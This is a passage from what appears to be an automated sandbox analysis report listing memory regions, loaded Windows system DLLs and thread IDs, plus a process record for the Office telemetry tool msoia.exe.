= pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 2189 start_va = 0x2a30000 end_va = 0x2b2ffff entry_point = 0x0 region_type = private name = "private_0x0000000002a30000" filename = "" Region: id = 2190 start_va = 0x2bd0000 end_va = 0x2bdffff entry_point = 0x0 region_type = private name = "private_0x0000000002bd0000" filename = "" Region: id = 2191 start_va = 0x2be0000 end_va = 0x2c9ffff entry_point = 0x2be0000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 2192 start_va = 0x2d00000 end_va = 0x2dfffff entry_point = 0x0 region_type = private name = "private_0x0000000002d00000" filename = "" Region: id = 2193 start_va = 0x2e10000 end_va = 0x2f0ffff entry_point = 0x0 region_type = private name = "private_0x0000000002e10000" filename = "" Region: id = 2194 start_va = 0x2f30000 end_va = 0x302ffff entry_point = 0x0 region_type = private name = "private_0x0000000002f30000" filename = "" Region: id = 2195 start_va = 0x30a0000 end_va = 0x319ffff entry_point = 0x0 region_type = private name = "private_0x00000000030a0000" filename = "" Region: id = 2196 start_va = 0x3200000 end_va = 0x320ffff entry_point = 0x0 region_type = private name = "private_0x0000000003200000" filename = "" Region: id = 2197 start_va = 0x3260000 end_va = 0x335ffff entry_point = 0x0 region_type = private name = "private_0x0000000003260000" filename = "" Region: id = 2198 start_va = 0x33a0000 end_va = 0x349ffff entry_point = 0x0 region_type = private name = "private_0x00000000033a0000" filename = "" Region: id = 2199 start_va = 0x34a0000 end_va = 0x37e2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000034a0000" filename = "" Region: id = 2200 start_va = 0x3820000 end_va = 0x391ffff entry_point = 0x0 region_type = private name = "private_0x0000000003820000" filename = "" Region: id = 2201 start_va = 0x77e10000 end_va = 0x77e12fff entry_point = 0x77e10000 region_type = mapped_file name = "normaliz.dll" filename = "\\Windows\\System32\\normaliz.dll" (normalized: "c:\\windows\\system32\\normaliz.dll") Region: id = 2202 start_va = 0x7fef59c0000 end_va = 0x7fef59cbfff entry_point = 0x7fef59c0000 region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 2203 start_va = 0x7fef5ff0000 end_va = 0x7fef6063fff entry_point = 0x7fef5ff0000 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 2204 start_va = 0x7fef7190000 end_va = 0x7fef71f3fff entry_point = 0x7fef7190000 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 2205 start_va = 0x7fef7200000 end_va = 0x7fef7270fff entry_point = 0x7fef7200000 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 2206 start_va = 0x7fef9660000 end_va = 0x7fef9677fff entry_point = 0x7fef9660000 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 2207 start_va = 0x7fef9680000 end_va = 0x7fef9690fff entry_point = 0x7fef9680000 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 2208 start_va = 0x7fefb670000 end_va = 0x7fefb67afff entry_point = 0x7fefb670000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 2209 start_va = 0x7fefb680000 end_va = 0x7fefb6a6fff entry_point = 0x7fefb680000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 2210 start_va = 0x7fefb800000 end_va = 0x7fefb814fff entry_point = 0x7fefb800000 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 2211 start_va = 0x7fefbb00000 end_va = 0x7fefbb2cfff entry_point = 0x7fefbb00000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 2212 start_va = 0x7fefc080000 end_va = 0x7fefc097fff entry_point = 0x7fefc080000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 2213 start_va = 0x7fefc690000 end_va = 0x7fefc883fff entry_point = 0x7fefc690000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll") Region: id = 2214 start_va = 0x7fefcd50000 end_va = 0x7fefcd5bfff entry_point = 0x7fefcd50000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 2215 start_va = 0x7fefd080000 end_va = 0x7fefd089fff entry_point = 0x7fefd080000 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 2216 start_va = 0x7fefd180000 end_va = 0x7fefd1c6fff entry_point = 0x7fefd180000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 2217 start_va = 0x7fefd480000 end_va = 0x7fefd496fff entry_point = 0x7fefd480000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 2218 start_va = 0x7fefdb70000 end_va = 0x7fefdb83fff entry_point = 0x7fefdb70000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 2219 start_va = 0x7fefdc30000 end_va = 0x7fefdc3efff entry_point = 0x7fefdc30000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 2220 start_va = 0x7fefddf0000 end_va = 0x7fefdf56fff entry_point = 0x7fefddf0000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 2221 start_va = 0x7fefee30000 end_va = 0x7fefee7cfff entry_point = 0x7fefee30000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 2222 start_va = 0x7fefee80000 end_va = 0x7feff0d8fff entry_point = 0x7fefee80000 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 2223 start_va = 0x7feff6e0000 end_va = 0x7feff857fff entry_point = 0x7feff6e0000 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\System32\\urlmon.dll" (normalized: "c:\\windows\\system32\\urlmon.dll") Region: id = 2224 start_va = 0x7feff870000 end_va = 0x7feff999fff entry_point = 0x7feff870000 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 2225 start_va = 0x7feff9a0000 end_va = 0x7feffa38fff entry_point = 0x7feff9a0000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2226 start_va = 0x7feffe60000 end_va = 0x7feffeb1fff entry_point = 0x7feffe60000 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 2227 start_va = 0x7feffec0000 end_va = 0x7feffec7fff entry_point = 0x7feffec0000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 2228 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 2229 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 2230 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 2231 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 2232 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 2233 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 2234 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 2449 start_va = 0x260000 end_va = 0x26bfff entry_point = 0x260000 region_type = mapped_file name = "index.dat" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\index.dat") Region: id = 2450 start_va = 0x280000 end_va = 0x287fff entry_point = 0x280000 region_type = mapped_file name = "index.dat" filename = "\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\index.dat") Region: id = 2451 start_va = 0x2a0000 end_va = 0x2affff entry_point = 0x2a0000 region_type = mapped_file name = "index.dat" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat") Region: id = 2452 start_va = 0x2b0000 end_va = 0x2b0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002b0000" filename = "" Region: id = 2453 start_va = 0x2c0000 end_va = 0x2c1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2454 start_va = 0x3980000 end_va = 0x39fffff entry_point = 0x0 region_type = private name = "private_0x0000000003980000" filename = "" Region: id = 2455 start_va = 0x3a40000 end_va = 0x3b3ffff entry_point = 0x0 region_type = private name = "private_0x0000000003a40000" filename = "" Region: id = 2456 start_va = 0x3bb0000 end_va = 0x3bbffff entry_point = 0x0 region_type = private name = "private_0x0000000003bb0000" filename = "" Region: id = 2457 start_va = 0x3c00000 end_va = 0x3cfffff entry_point = 0x0 region_type = private name = "private_0x0000000003c00000" filename = "" Region: id = 2458 start_va = 0x3d40000 end_va = 0x3e3ffff entry_point = 0x0 region_type = private name = "private_0x0000000003d40000" filename = "" Region: id = 2459 start_va = 0x3e40000 end_va = 0x403ffff entry_point = 0x0 region_type = private name = "private_0x0000000003e40000" filename = "" Region: id = 2460 start_va = 0x4120000 end_va = 0x419ffff entry_point = 0x0 region_type = private name = "private_0x0000000004120000" filename = "" Region: id = 2461 start_va = 0x4220000 end_va = 0x431ffff entry_point = 0x0 region_type = private name = "private_0x0000000004220000" filename = "" Region: id = 2462 start_va = 0x4340000 end_va = 0x443ffff entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 2463 start_va = 0x4440000 end_va = 0x483ffff entry_point = 0x0 region_type = private name = "private_0x0000000004440000" filename = "" Region: id = 2464 start_va = 0x7fef4d40000 end_va = 0x7fef4d5bfff entry_point = 0x7fef4d40000 region_type = mapped_file name = "rasman.dll" filename = "\\Windows\\System32\\rasman.dll" (normalized: "c:\\windows\\system32\\rasman.dll") Region: id = 2465 start_va = 0x7fef4d60000 end_va = 0x7fef4dc1fff entry_point = 0x7fef4d60000 region_type = mapped_file name = "rasapi32.dll" filename = "\\Windows\\System32\\rasapi32.dll" (normalized: "c:\\windows\\system32\\rasapi32.dll") Region: id = 2466 start_va = 0x7fef6570000 end_va = 0x7fef6580fff entry_point = 0x7fef6570000 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll") Region: id = 2467 start_va = 0x7fef93b0000 end_va = 0x7fef93b8fff entry_point = 0x7fef93b0000 region_type = mapped_file name = "sensapi.dll" filename = "\\Windows\\System32\\SensApi.dll" (normalized: "c:\\windows\\system32\\sensapi.dll") Region: id = 2468 start_va = 0x7fef96b0000 end_va = 0x7fef9702fff entry_point = 0x7fef96b0000 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 2469 start_va = 0x7fefbc10000 end_va = 0x7fefbc17fff entry_point = 0x7fefbc10000 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 2470 start_va = 0x7fefce20000 end_va = 0x7fefce26fff entry_point = 0x7fefce20000 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 2471 start_va = 0x7fefcf10000 end_va = 0x7fefcf2afff entry_point = 0x7fefcf10000 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 2472 start_va = 0x7fefd0c0000 end_va = 0x7fefd10bfff entry_point = 0x7fefd0c0000 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 2473 start_va = 0x7fefd210000 end_va = 0x7fefd266fff entry_point = 0x7fefd210000 region_type = mapped_file name = "schannel.dll" filename = "\\Windows\\System32\\schannel.dll" (normalized: "c:\\windows\\system32\\schannel.dll") Region: id = 2474 start_va = 0x7fefd2a0000 end_va = 0x7fefd2fafff entry_point = 0x7fefd2a0000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 2475 start_va = 0x7fefd410000 end_va = 0x7fefd416fff entry_point = 0x7fefd410000 region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 2476 start_va = 0x7fefd420000 end_va = 0x7fefd474fff entry_point = 0x7fefd420000 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 2477 start_va = 0x7fefd5f0000 end_va = 0x7fefd611fff entry_point = 0x7fefd5f0000 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 2478 start_va = 0x7fefd620000 end_va = 0x7fefd66dfff entry_point = 0x7fefd620000 region_type = mapped_file name = "ncrypt.dll" filename = "\\Windows\\System32\\ncrypt.dll" (normalized: "c:\\windows\\system32\\ncrypt.dll") Region: id = 2479 start_va = 0x7fefdce0000 end_va = 0x7fefdd15fff entry_point = 0x7fefdce0000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 2480 start_va = 0x7fffff9c000 end_va = 0x7fffff9dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9c000" filename = "" Region: id = 2481 start_va = 0x7fffff9e000 end_va = 0x7fffff9ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff9e000" filename = "" Region: id = 2482 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 2483 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 2484 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Thread: id = 149 os_tid = 0x9ac Thread: id = 152 os_tid = 0xa00 Thread: id = 153 os_tid = 0xa18 Thread: id = 156 os_tid = 0xa34 Thread: id = 158 os_tid = 0xa7c Thread: id = 161 os_tid = 0xaa4 Thread: id = 162 os_tid = 0x360 Thread: id = 182 os_tid = 0x34c Thread: id = 183 os_tid = 0x7f0 Thread: id = 186 os_tid = 0x450 Thread: id = 187 os_tid = 0x278 Thread: id = 189 os_tid = 0x574 Thread: id = 191 os_tid = 0x664 Thread: id = 194 os_tid = 0x12c Thread: id = 239 os_tid = 0x31c Thread: id = 240 os_tid = 0x390 Process: id = "14" image_name = "msoia.exe" filename = "c:\\program files\\microsoft office\\root\\office16\\msoia.exe" page_root = "0x328d1000" os_pid = "0x9c0" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "10" os_parent_pid = "0x83c" cmd_line = "\"C:\\Program Files\\Microsoft Office\\root\\Office16\\msoia.exe\" scan upload" cur_dir = "C:\\Windows\\system32\\" os_username = "YKYD69Q\\aETAdzjz" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e662" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1715 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1716 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1717 start_va = 0x1b0000 end_va = 0x2affff entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 1718 start_va = 0x77c40000 end_va = 0x77de8fff entry_point = 0x77c40000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1719 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1720 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1721 start_va = 0x13f9b0000 end_va = 0x13fcf1fff entry_point = 0x13f9b0000 region_type = mapped_file name = "msoia.exe" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\msoia.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msoia.exe") Region: id = 1722 start_va = 0x7fefff60000 end_va = 0x7fefff60fff entry_point = 0x7fefff60000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1723 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1724 start_va = 0x7fffffd5000 end_va = 0x7fffffd5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 1725 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 1729 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1730 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 1731 start_va = 0x40000 end_va = 0xa6fff entry_point = 0x40000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1732 start_va = 0xb0000 end_va = 0x1affff entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 1733 start_va = 0x2b0000 end_va = 0x2b0fff entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 1734 start_va = 0x2c0000 end_va = 0x2c0fff entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 1735 start_va = 0x430000 end_va = 0x52ffff entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1736 start_va = 0x530000 end_va = 0x6b7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000530000" filename = "" Region: id = 1737 start_va = 0x6c0000 end_va = 0x6cffff entry_point = 0x0 region_type = private name = "private_0x00000000006c0000" filename = "" Region: id = 1738 start_va = 0x6d0000 end_va = 0x850fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 1739 start_va = 0x860000 end_va = 0x1c5ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000860000" filename = "" Region: id = 1740 start_va = 0x77a20000 end_va = 0x77b19fff entry_point = 0x77a20000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1741 start_va = 0x77b20000 end_va = 0x77c3efff entry_point = 0x77b20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1742 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1743 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1744 start_va = 0x7fef8370000 end_va = 0x7fef8559fff entry_point = 0x7fef8370000 region_type = mapped_file name = "c2r64.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\C2R64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll") Region: id = 1745 start_va = 0x7fef8560000 end_va = 0x7fef8799fff entry_point = 0x7fef8560000 region_type = mapped_file name = "appvisvsubsystems64.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll") Region: id = 1746 start_va = 0x7fefaa80000 end_va = 0x7fefaa82fff entry_point = 0x7fefaa80000 region_type = mapped_file name = "api-ms-win-crt-utility-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-utility-l1-1-0.dll") Region: id = 1747 start_va = 0x7fefaa90000 end_va = 0x7fefaa92fff entry_point = 0x7fefaa90000 region_type = mapped_file name = "api-ms-win-crt-environment-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-environment-l1-1-0.dll") Region: id = 1748 start_va = 0x7fefaaa0000 end_va = 0x7fefaaa2fff entry_point = 0x7fefaaa0000 region_type = mapped_file name = "api-ms-win-crt-filesystem-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-filesystem-l1-1-0.dll") Region: id = 1749 start_va = 0x7fefaab0000 end_va = 0x7fefaab2fff entry_point = 0x7fefaab0000 region_type = mapped_file name = "api-ms-win-crt-time-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-time-l1-1-0.dll") Region: id = 1750 start_va = 0x7fefaac0000 end_va = 0x7fefaac4fff entry_point = 0x7fefaac0000 region_type = mapped_file name = "api-ms-win-crt-multibyte-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-multibyte-l1-1-0.dll") Region: id = 1751 start_va = 0x7fefaad0000 end_va = 0x7fefaad4fff entry_point = 0x7fefaad0000 region_type = mapped_file name = "api-ms-win-crt-math-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-math-l1-1-0.dll") Region: id = 1752 start_va = 0x7fefaae0000 end_va = 0x7fefaae2fff entry_point = 0x7fefaae0000 region_type = mapped_file name = "api-ms-win-crt-locale-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-locale-l1-1-0.dll") Region: id = 1753 start_va = 0x7fefaaf0000 end_va = 0x7fefab8bfff entry_point = 0x7fefaaf0000 region_type = mapped_file name = "msvcp140.dll" filename = "\\Windows\\System32\\msvcp140.dll" (normalized: "c:\\windows\\system32\\msvcp140.dll") Region: id = 1754 start_va = 0x7fefab90000 end_va = 0x7fefab93fff entry_point = 0x7fefab90000 region_type = mapped_file name = "api-ms-win-crt-convert-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-convert-l1-1-0.dll") Region: id = 1755 start_va = 0x7fefaba0000 end_va = 0x7fefaba3fff entry_point = 0x7fefaba0000 region_type = mapped_file name = "api-ms-win-crt-stdio-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-stdio-l1-1-0.dll") Region: id = 1756 start_va = 0x7fefabb0000 end_va = 0x7fefabb2fff entry_point = 0x7fefabb0000 region_type = mapped_file name = "api-ms-win-crt-heap-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-heap-l1-1-0.dll") Region: id = 1757 start_va = 0x7fefabc0000 end_va = 0x7fefabc3fff entry_point = 0x7fefabc0000 region_type = mapped_file name = "api-ms-win-crt-string-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-string-l1-1-0.dll") Region: id = 1758 start_va = 0x7fefabd0000 end_va = 0x7fefabd2fff entry_point = 0x7fefabd0000 region_type = mapped_file name = "api-ms-win-core-file-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-file-l1-2-0.dll") Region: id = 1759 start_va = 0x7fefabe0000 end_va = 0x7fefabe2fff entry_point = 0x7fefabe0000 region_type = mapped_file name = "api-ms-win-core-processthreads-l1-1-1.dll" filename = "\\Windows\\System32\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-processthreads-l1-1-1.dll") Region: id = 1760 start_va = 0x7fefabf0000 end_va = 0x7fefabf2fff entry_point = 0x7fefabf0000 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 1761 start_va = 0x7fefac00000 end_va = 0x7fefac02fff entry_point = 0x7fefac00000 region_type = mapped_file name = "api-ms-win-core-localization-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-localization-l1-2-0.dll") Region: id = 1762 start_va = 0x7fefac10000 end_va = 0x7fefac12fff entry_point = 0x7fefac10000 region_type = mapped_file name = "api-ms-win-core-file-l2-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-file-l2-1-0.dll") Region: id = 1763 start_va = 0x7fefac20000 end_va = 0x7fefac22fff entry_point = 0x7fefac20000 region_type = mapped_file name = "api-ms-win-core-timezone-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-timezone-l1-1-0.dll") Region: id = 1764 start_va = 0x7fefac30000 end_va = 0x7fefad21fff entry_point = 0x7fefac30000 region_type = mapped_file name = "ucrtbase.dll" filename = "\\Windows\\System32\\ucrtbase.dll" (normalized: "c:\\windows\\system32\\ucrtbase.dll") Region: id = 1765 start_va = 0x7fefad30000 